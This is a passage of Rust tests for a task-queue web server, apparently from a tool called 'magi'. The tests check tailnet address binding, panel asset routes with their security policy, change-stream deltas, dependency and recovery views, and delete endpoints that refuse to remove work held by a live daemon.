22024            IpAddr::V4(ip) if is_tailnet(&ip) => {
22025                assert!(warning.is_none(), "a tailnet address needs no warning");
22026            }
22027            other => {
22028                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
22029                let warning = warning.expect("a fallback has to explain itself");
22030                assert!(
22031                    warning.contains("127.0.0.1") && warning.contains("local-only"),
22032                    "the warning says what happened and what it costs: {warning}"
22033                );
22034            }
22035        }
22036    }
22037
22038    #[test]
22039    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
22040        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
22041        // boundary cases are what stop us binding to some other tool's idea of
22042        // an address.
22043        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
22044        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
22045        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
22046        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
22047        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
22048    }
22049
22050    #[test]
22051    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
22052        let ids = vec![
22053            "20260902-140501-aaaa".to_owned(),
22054            "20260902-140502-aabb".to_owned(),
22055        ];
22056
22057        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
22058        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
22059        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
22060
22061        assert_eq!(missing.status, StatusCode::NOT_FOUND);
22062        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
22063        assert_eq!(short, "20260902-140502-aabb");
22064    }
22065    #[tokio::test]
22066    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
22067        // The prompt tells agents to reference attachments by bare filename.
22068        // A document served at `.../panel` resolves `shot.png` against its own
22069        // directory, i.e. `.../shot.png`, which is not the asset route - so a
22070        // panel written exactly as instructed showed broken images. Caught by
22071        // looking at a real one in a browser, not by reading the code.
22072        let fx = Fixture::start().await;
22073        let id = panel(
22074            &fx,
22075            "<img src=\"shot.png\">",
22076            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
22077        );
22078
22079        // The frame's own URL ends in a filename, so its siblings are reachable.
22080        let doc = fx
22081            .get(&format!("/api/questions/{id}/panel/index.html"))
22082            .await;
22083        assert_eq!(doc.status, 200, "{}", doc.body);
22084        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
22085
22086        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
22087        assert_eq!(sibling.status, 200, "{}", sibling.body);
22088        assert_eq!(sibling.header("content-type"), Some("image/png"));
22089        assert_eq!(
22090            sibling.header("content-security-policy"),
22091            Some(PANEL_CSP),
22092            "the sibling route must carry the same policy as the asset route"
22093        );
22094
22095        // The original spelling keeps working: HEAD on it is how the front end
22096        // decides whether to mount a frame at all.
22097        assert_eq!(
22098            fx.head(&format!("/api/questions/{id}/panel")).await.status,
22099            200
22100        );
22101    }
22102
22103    #[test]
22104    fn delta_stamps_cover_add_update_remove_and_noop() {
22105        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
22106        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
22107        let delta = diff_stamps(&before, &after, 42);
22108        assert_eq!(delta.base, 42);
22109        assert_eq!(delta.changed, ["b", "c"]);
22110        assert_eq!(delta.removed, ["a"]);
22111        let same = diff_stamps(&after, &after, 43);
22112        assert!(same.changed.is_empty() && same.removed.is_empty());
22113        assert_ne!(stamps_revision(&before), stamps_revision(&after));
22114        let nanos: Stamps = [("b".into(), (2, 20))].into();
22115        let same_ms: Stamps = [("b".into(), (3, 20))].into();
22116        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
22117        assert_eq!(stamps_revision(&Stamps::new()), 0);
22118    }
22119
22120    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
22121        std::fs::create_dir_all(home.join("runs")).unwrap();
22122        Arc::new(
22123            Ui::new(
22124                Queue::at(home.join("queue")),
22125                Questions::at(home.join("questions")),
22126                Talks::at(home.join("talks")),
22127                home.join("runs"),
22128                home.to_owned(),
22129                PathBuf::from("/repo/magi"),
22130            )
22131            .with_worktrees_root(home.join("wt")),
22132        )
22133    }
22134
22135    #[test]
22136    fn monitor_scan_isolates_store_failures_and_recovers() {
22137        let home = TempDir::new().unwrap();
22138        let ui = delta_test_ui(home.path());
22139        std::fs::create_dir_all(ui.questions.root()).unwrap();
22140        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
22141        let before = monitor_scan(&ui, None);
22142        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
22143        std::fs::write(ui.questions.root(), "not a directory").unwrap();
22144        std::fs::create_dir_all(ui.talks.root()).unwrap();
22145        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
22146        let during = monitor_scan(&ui, Some(before.clone()));
22147        assert_eq!(during.0.2, before.0.2);
22148        assert_ne!(during.0.3, before.0.3);
22149        assert!(during.1[2].contains_key("new"));
22150        std::fs::remove_file(ui.questions.root()).unwrap();
22151        let after = monitor_scan(&ui, Some(during));
22152        assert_eq!(after.0.2, 0);
22153        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
22154        // A failed first scan also permits healthy stores to publish.
22155        std::fs::write(ui.questions.root(), "not a directory").unwrap();
22156        assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
22157    }
22158
22159    #[tokio::test]
22160    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
22161        let home = TempDir::new().unwrap();
22162        let ui = delta_test_ui(home.path());
22163        let mut task = Task::new(
22164            "stream task".into(),
22165            "text".into(),
22166            PathBuf::from("/repo"),
22167            Source::Human,
22168        );
22169        ui.queue.put(&mut task).unwrap();
22170        let response = events(State(ui.clone())).await.into_response();
22171        let mut stream = response.into_body().into_data_stream();
22172        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
22173            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
22174                .await
22175                .unwrap()
22176                .unwrap()
22177                .unwrap();
22178            let text = String::from_utf8(chunk.to_vec()).unwrap();
22179            let data = text
22180                .lines()
22181                .find_map(|line| {
22182                    line.strip_prefix("data: ")
22183                        .or_else(|| line.strip_prefix("data:"))
22184                })
22185                .unwrap();
22186            serde_json::from_str(data).unwrap()
22187        }
22188        let initial = change(&mut stream).await;
22189        assert!(initial.get("queue_delta").is_none());
22190        task.instruction.push_str(" changed");
22191        ui.queue.put(&mut task).unwrap();
22192        let updated = change(&mut stream).await;
22193        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
22194        assert_eq!(
22195            updated["queue_delta"]["changed"],
22196            serde_json::json!([task.id])
22197        );
22198        assert_eq!(
22199            updated["queue_rev"].as_u64(),
22200            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
22201        );
22202        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
22203        let removed = change(&mut stream).await;
22204        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
22205        assert_eq!(
22206            removed["queue_delta"]["removed"],
22207            serde_json::json!([task.id])
22208        );
22209    }
22210
22211    #[tokio::test]
22212    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
22213        let home = TempDir::new().unwrap();
22214        let ui = delta_test_ui(home.path());
22215        let queue = ui.queue.clone();
22216        let query = |ids: Option<&str>| {
22217            Query(ListQuery {
22218                limit: Some(2),
22219                ids: ids.map(str::to_owned),
22220            })
22221        };
22222        let mut root = Task::new(
22223            "root".into(),
22224            "instruction".into(),
22225            PathBuf::from("/repo"),
22226            Source::Human,
22227        );
22228        queue.put(&mut root).unwrap();
22229        let mut blocked = Task::new(
22230            "blocked".into(),
22231            "instruction".into(),
22232            PathBuf::from("/repo"),
22233            Source::Human,
22234        );
22235        blocked.block(vec![root.id.clone()], None);
22236        queue.put(&mut blocked).unwrap();
22237        let whole =
22238            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
22239                .unwrap();
22240        let subset = serde_json::to_value(
22241            queue_list(State(ui.clone()), query(Some(&root.id)))
22242                .await
22243                .unwrap()
22244                .0,
22245        )
22246        .unwrap();
22247        assert_eq!(whole, subset, "requested root plus its blocked dependent");
22248        let blockers = serde_json::to_value(
22249            queue_list(State(ui.clone()), query(Some("")))
22250                .await
22251                .unwrap()
22252                .0,
22253        )
22254        .unwrap();
22255        assert_eq!(blockers.as_array().unwrap().len(), 1);
22256        assert_eq!(blockers[0]["id"], blocked.id);
22257        assert_eq!(
22258            blockers[0]["waits_on"],
22259            whole
22260                .as_array()
22261                .unwrap()
22262                .iter()
22263                .find(|row| row["id"] == blocked.id)
22264                .unwrap()["waits_on"]
22265        );
22266
22267        for id in [
22268            "20260902-140501-aaaa",
22269            "20260902-140502-bbbb",
22270            "20260902-140503-cccc",
22271        ] {
22272            write_run(&ui.runs, id, RunStatus::Merged);
22273        }
22274        let old = serde_json::to_value(
22275            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
22276                .await
22277                .unwrap()
22278                .0,
22279        )
22280        .unwrap();
22281        assert!(
22282            old.as_array().unwrap().is_empty(),
22283            "older updates must not enter the window"
22284        );
22285        let newest = serde_json::to_value(
22286            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
22287                .await
22288                .unwrap()
22289                .0,
22290        )
22291        .unwrap();
22292        assert_eq!(newest.as_array().unwrap().len(), 1);
22293        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
22294
22295        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
22296        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
22297        let talks = serde_json::to_value(
22298            talks_list(
22299                State(ui.clone()),
22300                query(Some("20260905-000000-d4e5")),
22301                header::HeaderMap::new(),
22302            )
22303            .await
22304            .unwrap()
22305            .0,
22306        )
22307        .unwrap();
22308        assert_eq!(talks.as_array().unwrap().len(), 1);
22309        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
22310        assert_eq!(
22311            serde_json::to_value(
22312                talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
22313                    .await
22314                    .unwrap()
22315                    .0
22316            )
22317            .unwrap(),
22318            serde_json::json!([])
22319        );
22320    }
22321
22322    #[tokio::test]
22323    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
22324    async fn delta_payload_benchmark() {
22325        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
22326        let ui = delta_test_ui(&home);
22327        let query = |ids: Option<String>| {
22328            Query(ListQuery {
22329                limit: Some(50),
22330                ids,
22331            })
22332        };
22333        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
22334        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
22335        let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
22336            .await
22337            .unwrap()
22338            .0;
22339        let queue_id = queue
22340            .iter()
22341            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
22342            .unwrap_or(&queue[0])
22343            .task
22344            .id
22345            .clone();
22346        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
22347            .await
22348            .unwrap()
22349            .0;
22350        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
22351            .await
22352            .unwrap()
22353            .0;
22354        let talks_delta = talks_list(
22355            State(ui.clone()),
22356            query(Some(talks[0].id.clone())),
22357            header::HeaderMap::new(),
22358        )
22359        .await
22360        .unwrap()
22361        .0;
22362        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
22363        eprintln!(
22364            "DELTA_PAYLOAD {}",
22365            serde_json::json!({
22366                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
22367                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
22368                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
22369                "counts": [queue.len(), runs.len(), talks.len()],
22370                "blocked": queue_delta.len() - 1,
22371            })
22372        );
22373    }
22374
22375    #[test]
22376    fn runs_revision_moves_when_deleting_an_older_run() {
22377        let temp = TempDir::new().expect("tempdir");
22378        let runs = temp.path().join("runs");
22379        std::fs::create_dir_all(&runs).expect("create runs dir");
22380
22381        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
22382
22383        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
22384        std::thread::sleep(Duration::from_millis(10));
22385        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
22386
22387        let rev_before = runs_revision(&runs);
22388        assert!(rev_before > 0);
22389
22390        let old_dir = runs.join("20260901-100000-old1");
22391        std::fs::remove_dir_all(&old_dir).expect("remove old run");
22392
22393        let rev_after = runs_revision(&runs);
22394        assert_ne!(
22395            rev_before, rev_after,
22396            "deleting an older run must change the revision so other clients see the deletion"
22397        );
22398    }
22399
22400    /// A run's own `run.json` on an explicit `runs` root, bypassing the
22401    /// process-global home entirely — `RunState::save` writes through
22402    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
22403    /// (see `tests::home_lock` in the integration suite for why).
22404    fn write_state(runs: &FsPath, state: &RunState) {
22405        let dir = runs.join(&state.id);
22406        std::fs::create_dir_all(&dir).expect("run dir");
22407        std::fs::write(
22408            dir.join("run.json"),
22409            serde_json::to_string_pretty(state).expect("serialize run"),
22410        )
22411        .expect("write run.json");
22412    }
22413
22414    /// A seat starting or finishing is a write to `run.json` like any other,
22415    /// so it moves the same revision the change stream already watches —
22416    /// nothing new for `/api/events` to learn, but the property this feature
22417    /// depends on to reach the phone without a poll.
22418    #[test]
22419    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
22420        let temp = TempDir::new().expect("tempdir");
22421        let runs = temp.path().join("runs");
22422        std::fs::create_dir_all(&runs).expect("create runs dir");
22423        let mut state = RunState::new(
22424            PathBuf::from("/repo/magi"),
22425            "main".to_owned(),
22426            "0123456789abcdef".to_owned(),
22427            "task".to_owned(),
22428            Config::default(),
22429        );
22430        state.id = "20260902-100000-c0de".to_owned();
22431        write_state(&runs, &state);
22432
22433        let rev_idle = runs_revision(&runs);
22434        std::thread::sleep(Duration::from_millis(10));
22435        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
22436        write_state(&runs, &state);
22437        let rev_started = runs_revision(&runs);
22438        assert_ne!(
22439            rev_idle, rev_started,
22440            "a seat starting must move the revision"
22441        );
22442
22443        std::thread::sleep(Duration::from_millis(10));
22444        state.seat_finished("judge-1");
22445        write_state(&runs, &state);
22446        let rev_finished = runs_revision(&runs);
22447        assert_ne!(
22448            rev_started, rev_finished,
22449            "and clearing it again must move the revision a second time"
22450        );
22451    }
22452
22453    #[tokio::test]
22454    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
22455        // `TaskView` flattens `Task`, so this is really asserting that
22456        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
22457        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
22458        // never touched web.rs, so nothing here caught it if it had.
22459        let fx = Fixture::start().await;
22460        let q = fx.queue();
22461
22462        let mut t = Task::new(
22463            "Task".to_owned(),
22464            "Instruction".to_owned(),
22465            PathBuf::from("/repo"),
22466            Source::Human,
22467        );
22468        t.block(
22469            vec!["20260101-000000-dead".to_owned()],
22470            Some("waiting on Task 1".to_owned()),
22471        );
22472        t.answers.push(crate::queue::AnsweredQuestion {
22473            question: "Which backend?".to_owned(),
22474            answer: "SQLite".to_owned(),
22475        });
22476        q.put(&mut t).expect("put t");
22477
22478        let res = fx.get("/api/queue").await;
22479        assert_eq!(res.status, 200);
22480        let list = res.json();
22481        let view = list
22482            .as_array()
22483            .expect("array")
22484            .iter()
22485            .find(|v| v["id"] == t.id)
22486            .expect("task in list");
22487        assert_eq!(view["status_str"], "blocked");
22488        assert_eq!(
22489            view["blocked_by"],
22490            serde_json::json!(["20260101-000000-dead"])
22491        );
22492        assert_eq!(view["block_reason"], "waiting on Task 1");
22493        assert_eq!(view["answers"][0]["question"], "Which backend?");
22494        assert_eq!(view["answers"][0]["answer"], "SQLite");
22495
22496        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
22497        // but never `answers` - that is a settled decision, not state
22498        // describing the current block, so it survives.
22499        let res = fx
22500            .post(&format!("/api/queue/{}/hold", t.short()), None)
22501            .await;
22502        assert_eq!(res.status, 200);
22503        let held = res.json();
22504        assert_eq!(held["status_str"], "held");
22505        assert_eq!(held["blocked_by"], serde_json::json!([]));
22506        assert!(held["block_reason"].is_null());
22507        assert_eq!(held["answers"][0]["answer"], "SQLite");
22508    }
22509
22510    #[tokio::test]
22511    async fn task_recovery_pending_decisions_block_disk_autoresume() {
22512        let fx = Fixture::start().await;
22513        let queue = fx.queue();
22514        let questions = fx.questions();
22515        let mut task = Task::new(
22516            "Disk recovery".into(),
22517            "Inspect".into(),
22518            PathBuf::from("/repo"),
22519            Source::Human,
22520        );
22521        task.hold_machine(crate::disk::gate(2_667_941_888, 3_221_225_472));
22522        task.mark_disk_capacity();
22523        queue.put(&mut task).unwrap();
22524        let mut records = Vec::new();
22525        for node in [crate::triage::NODE, crate::triage::DEPS_NODE] {
22526            let mut q = Question::new(
22527                task.id.clone(),
22528                node.into(),
22529                "triage".into(),
22530                "Resume recovery?".into(),
22531                String::new(),
22532                vec![],
22533            );
22534            q.routed_task = Some(task.id.clone());
22535            questions.put(&mut q).unwrap();
22536            records.push(q);
22537        }
22538        let url = format!("/api/queue/{}", task.id);
22539        let view = fx.get(&url).await.json();
22540        assert_eq!(view["status_str"], "held");
22541        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
22542        assert!(
22543            view["recovery"]
22544                .as_str()
22545                .unwrap()
22546                .contains("Disk recovery alone will not resume")
22547        );
22548        assert!(
22549            view["recovery"]
22550                .as_str()
22551                .unwrap()
22552                .contains("Disk wait (automatically monitored)")
22553        );
22554        for blocker in view["blockers"].as_array().unwrap() {
22555            assert!(blocker["destination"].is_null());
22556            assert!(
22557                blocker["next"]
22558                    .as_str()
22559                    .unwrap()
22560                    .contains("pending delivery")
22561            );
22562        }
22563        for q in &mut records {
22564            q.routed_chat = Some("owning-chat".into());
22565            questions.put(q).unwrap();
22566        }
22567        let view = fx.get(&url).await.json();
22568        for blocker in view["blockers"].as_array().unwrap() {
22569            assert_eq!(
22570                blocker["destination"],
22571                serde_json::json!(["chat", "owning-chat"])
22572            );
22573            assert_eq!(blocker["resolves_itself"], false);
22574        }
22575        // Answered routed decisions can still be awaiting task-chat application.
22576        for q in &mut records {
22577            q.status = ask::QuestionStatus::Answered;
22578            questions.put(q).unwrap();
22579        }
22580        assert!(crate::triage::pending_for(&questions, &task));
22581        let view = fx.get(&url).await.json();
22582        assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
22583        assert!(
22584            view["blockers"][0]["next"]
22585                .as_str()
22586                .unwrap()
22587                .contains("not yet applied")
22588        );
22589        for q in &records {
22590            task.mark_triage_applied(&q.id);
22591        }
22592        queue.put(&mut task).unwrap();
22593        assert!(!crate::triage::pending_for(&questions, &task));
22594        assert_eq!(fx.get(&url).await.json()["blockers"], serde_json::json!([]));
22595        assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Held);
22596    }
22597
22598    #[test]
22599    fn task_recovery_distinguishes_dependency_restoration_and_hold_ownership() {
22600        use crate::queue::HoldSource;
22601        let mut task = Task::new(
22602            "Recovery".into(),
22603            "Inspect".into(),
22604            PathBuf::from("/repo"),
22605            Source::Human,
22606        );
22607        assert!(task_recovery(&task).is_none());
22608        task.hold_manual(Some("Operator paused".into()));
22609        assert!(task_recovery(&task).unwrap().contains("explicitly Release"));
22610        task.block(vec!["dependency".into()], Some("Decision needed".into()));
22611        let text = task_recovery(&task).unwrap();
22612        assert!(text.contains("restores held"));
22613        assert!(text.contains("clears its dependency references"));
22614        task.hold_source = Some(HoldSource::Machine);
22615        task.hold_reason = crate::disk::gate(2_667_941_888, 3_221_225_472);
22616        task.mark_disk_capacity();
22617        let view = TaskView::with_inventory(
22618            task.clone(),
22619            &crate::blockers::Inventory::new(vec![task.clone()], &[]),
22620        );
22621        let json = serde_json::to_value(view).unwrap();
22622        assert_eq!(json["block_reason"], "Decision needed");
22623        assert!(json["hold_reason"].as_str().unwrap().contains("2667941888"));
22624        let recovery = json["recovery"].as_str().unwrap();
22625        assert!(recovery.contains("not current capacity"));
22626        assert!(recovery.contains("triage rechecks"));
22627        assert_eq!(json["blockers"][0]["state"], "missing");
22628        task.blocked_from = Some(TaskStatus::Queued);
22629        assert!(!task_recovery(&task).unwrap().contains("triage rechecks"));
22630        task.blocked_from = None;
22631        assert!(task_recovery(&task).unwrap().contains("restores held"));
22632    }
22633
22634    #[tokio::test]
22635    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
22636        let fx = Fixture::start().await;
22637        let q = fx.queue();
22638        let mk = |title: &str| {
22639            Task::new(
22640                title.to_owned(),
22641                "Instruction".to_owned(),
22642                PathBuf::from("/repo"),
22643                Source::Human,
22644            )
22645        };
22646        let mut root = mk("root");
22647        root.hold_manual(Some("waiting".to_owned()));
22648        q.put(&mut root).unwrap();
22649        let mut mid = mk("mid");
22650        mid.block(vec![root.id.clone()], None);
22651        q.put(&mut mid).unwrap();
22652        let mut leaf = mk("leaf");
22653        leaf.block(vec![mid.id.clone()], None);
22654        q.put(&mut leaf).unwrap();
22655
22656        let list = fx.get("/api/queue").await.json();
22657        let find = |id: &str| {
22658            list.as_array()
22659                .unwrap()
22660                .iter()
22661                .find(|v| v["id"] == id)
22662                .unwrap()
22663                .clone()
22664        };
22665        let leaf_view = find(&leaf.id);
22666        assert_eq!(
22667            leaf_view["waits_on"],
22668            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
22669        );
22670        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
22671        assert_eq!(
22672            find(&mid.id)["waits_on"],
22673            serde_json::json!([format!("{} (held)", root.short())])
22674        );
22675        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
22676    }
22677
22678    #[tokio::test]
22679    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
22680        let fx = Fixture::start().await;
22681        let q = fx.queue();
22682
22683        // 1. A queued task with runs attached can be deleted.
22684        let mut t1 = Task::new(
22685            "Task 1".to_owned(),
22686            "Instruction 1".to_owned(),
22687            PathBuf::from("/repo"),
22688            Source::Human,
22689        );
22690        let run_id = "20260901-000000-r111";
22691        t1.runs.push(run_id.to_owned());
22692        write_run(&fx.runs(), run_id, RunStatus::Merged);
22693        q.put(&mut t1).expect("put t1");
22694
22695        // Delete by short id
22696        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
22697        assert_eq!(res.status, 204);
22698        assert!(res.body.is_empty(), "204 No Content has no body");
22699        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
22700        assert!(
22701            fx.runs().join(run_id).exists(),
22702            "run directory must not be deleted when its task is deleted"
22703        );
22704
22705        // 2. A task a live daemon is running is refused with 409.
22706        let mut t2 = Task::new(
22707            "Task 2".to_owned(),
22708            "Instruction 2".to_owned(),
22709            PathBuf::from("/repo"),
22710            Source::Human,
22711        );
22712        t2.status = TaskStatus::Running;
22713        q.put(&mut t2).expect("put t2");
22714        let mut beat = crate::daemon::Status::new();
22715        beat.current = vec![crate::daemon::Current {
22716            worker: None,
22717            task: t2.id.clone(),
22718            run: "20260901-000000-r222".to_owned(),
22719        }];
22720        beat.updated_at = jiff::Timestamp::now();
22721        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22722            .expect("publish a heartbeat");
22723        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
22724        assert_eq!(res.status, 409);
22725        assert!(
22726            res.json()["error"]
22727                .as_str()
22728                .unwrap()
22729                .contains("live daemon")
22730        );
22731        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
22732
22733        // 3. The same `running` status and an orphaned lock, with no daemon
22734        // behind either, is a leftover and deletable. Before this the phone
22735        // refused it for good: the status never changes on its own and
22736        // nothing drops a lock whose process is gone.
22737        // The daemon is killed: the file stays, the heartbeat stops.
22738        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
22739        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22740            .expect("leave a stale heartbeat");
22741        let mut t3 = Task::new(
22742            "Task 3".to_owned(),
22743            "Instruction 3".to_owned(),
22744            PathBuf::from("/repo"),
22745            Source::Human,
22746        );
22747        t3.status = TaskStatus::Running;
22748        q.put(&mut t3).expect("put t3");
22749        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
22750        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
22751        assert_eq!(res.status, 204);
22752        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
22753        assert!(
22754            q.claim(&t3.id).is_ok(),
22755            "the stale lock went with it, so the id is claimable again"
22756        );
22757
22758        // 4. Missing id returns 404
22759        let res = fx.delete("/api/queue/nonexistent").await;
22760        assert_eq!(res.status, 404);
22761    }
22762
22763    #[tokio::test]
22764    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
22765        let fx = Fixture::start().await;
22766        let runs = fx.runs();
22767
22768        // 1. Finished and folded run can be deleted along with artifacts
22769        let run_id = "20260901-000000-fold";
22770        let mut state = RunState::new(
22771            PathBuf::from("/repo"),
22772            "main".to_owned(),
22773            "abc".to_owned(),
22774            "instruction".to_owned(),
22775            Config::default(),
22776        );
22777        state.id = run_id.to_owned();
22778        state.status = RunStatus::Merged;
22779        state.candidates.push(crate::run::Candidate {
22780            index: 0,
22781            label: 'A',
22782            agent: "a".to_owned(),
22783            branch: "b".to_owned(),
22784            worktree: PathBuf::from("/w"),
22785            summary: String::new(),
22786            stat: String::new(),
22787            files: 1,
22788            commits: 1,
22789            empty: false,
22790            failed: None,
22791            verified_noop: None,
22792            duration_ms: 0,
22793            folded: true,
22794        });
22795        let dir = runs.join(run_id);
22796        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
22797        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
22798            .expect("write artifact");
22799        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
22800            .expect("write run.json");
22801
22802        // Delete by short id
22803        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
22804        assert_eq!(res.status, 204);
22805        assert!(res.body.is_empty(), "204 has no body");
22806        assert!(!dir.exists(), "run directory and artifacts must be deleted");
22807
22808        // 2. A run a live daemon is working on is refused with 409. The
22809        // heartbeat is what makes it refusable: an unfinished run with no
22810        // daemon behind it is a leftover from a killed process, and case 1
22811        // above would otherwise be impossible to tell apart from this one.
22812        let run_running = "20260901-000000-rung";
22813        write_run(&runs, run_running, RunStatus::Prep);
22814        let mut beat = crate::daemon::Status::new();
22815        beat.current = vec![crate::daemon::Current {
22816            worker: None,
22817            task: "20260901-000000-task".to_owned(),
22818            run: run_running.to_owned(),
22819        }];
22820        beat.updated_at = jiff::Timestamp::now();
22821        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22822            .expect("publish a heartbeat");
22823        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
22824        assert_eq!(res.status, 409);
22825        assert!(
22826            res.json()["error"]
22827                .as_str()
22828                .unwrap()
22829                .contains("live daemon"),
22830            "the refusal must say who is holding it"
22831        );
22832        assert!(
22833            runs.join(run_running).exists(),
22834            "a run in flight keeps its directory"
22835        );
22836
22837        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
22838        let run_unfolded = "20260901-000000-unfd";
22839        let mut state2 = RunState::new(
22840            PathBuf::from("/repo"),
22841            "main".to_owned(),
22842            "abc".to_owned(),
22843            "instruction".to_owned(),
22844            Config::default(),
22845        );
22846        state2.id = run_unfolded.to_owned();
22847        state2.status = RunStatus::Ready;
22848        state2.candidates.push(crate::run::Candidate {
22849            index: 0,
22850            label: 'A',
22851            agent: "a".to_owned(),
22852            branch: "b".to_owned(),
22853            worktree: PathBuf::from("/w"),
22854            summary: String::new(),
22855            stat: String::new(),
22856            files: 1,
22857            commits: 1,
22858            empty: false,
22859            failed: None,
22860            verified_noop: None,
22861            duration_ms: 0,
22862            folded: false,
22863        });
22864        let dir2 = runs.join(run_unfolded);
22865        std::fs::create_dir_all(&dir2).expect("create dir2");
22866        std::fs::write(
22867            dir2.join("run.json"),
22868            serde_json::to_string(&state2).unwrap(),
22869        )
22870        .expect("write run.json");
22871
22872        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
22873        assert_eq!(res.status, 409);
22874        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
22875        assert!(dir2.exists(), "unfolded run directory is kept");
22876
22877        // 4. Missing id returns 404
22878        let res = fx.delete("/api/runs/nonexistent").await;
22879        assert_eq!(res.status, 404);
22880    }
22881
22882    /// The queue tiles on the Stats tab must render even on a home with no
22883    /// runs at all: queue state is not derived from run history, so hiding
22884    /// the whole dashboard body behind "no runs yet" would drop the one
22885    /// thing this tab promises unconditionally (queued/running/held/done).
22886    /// A DOM-level test would need a browser this suite does not have, so
22887    /// this pins the same invariant textually: `renderStatsQueue` is called
22888    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
22889    /// block that gates the run-derived panels.
22890    #[test]
22891    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
22892        let start = APP_JS
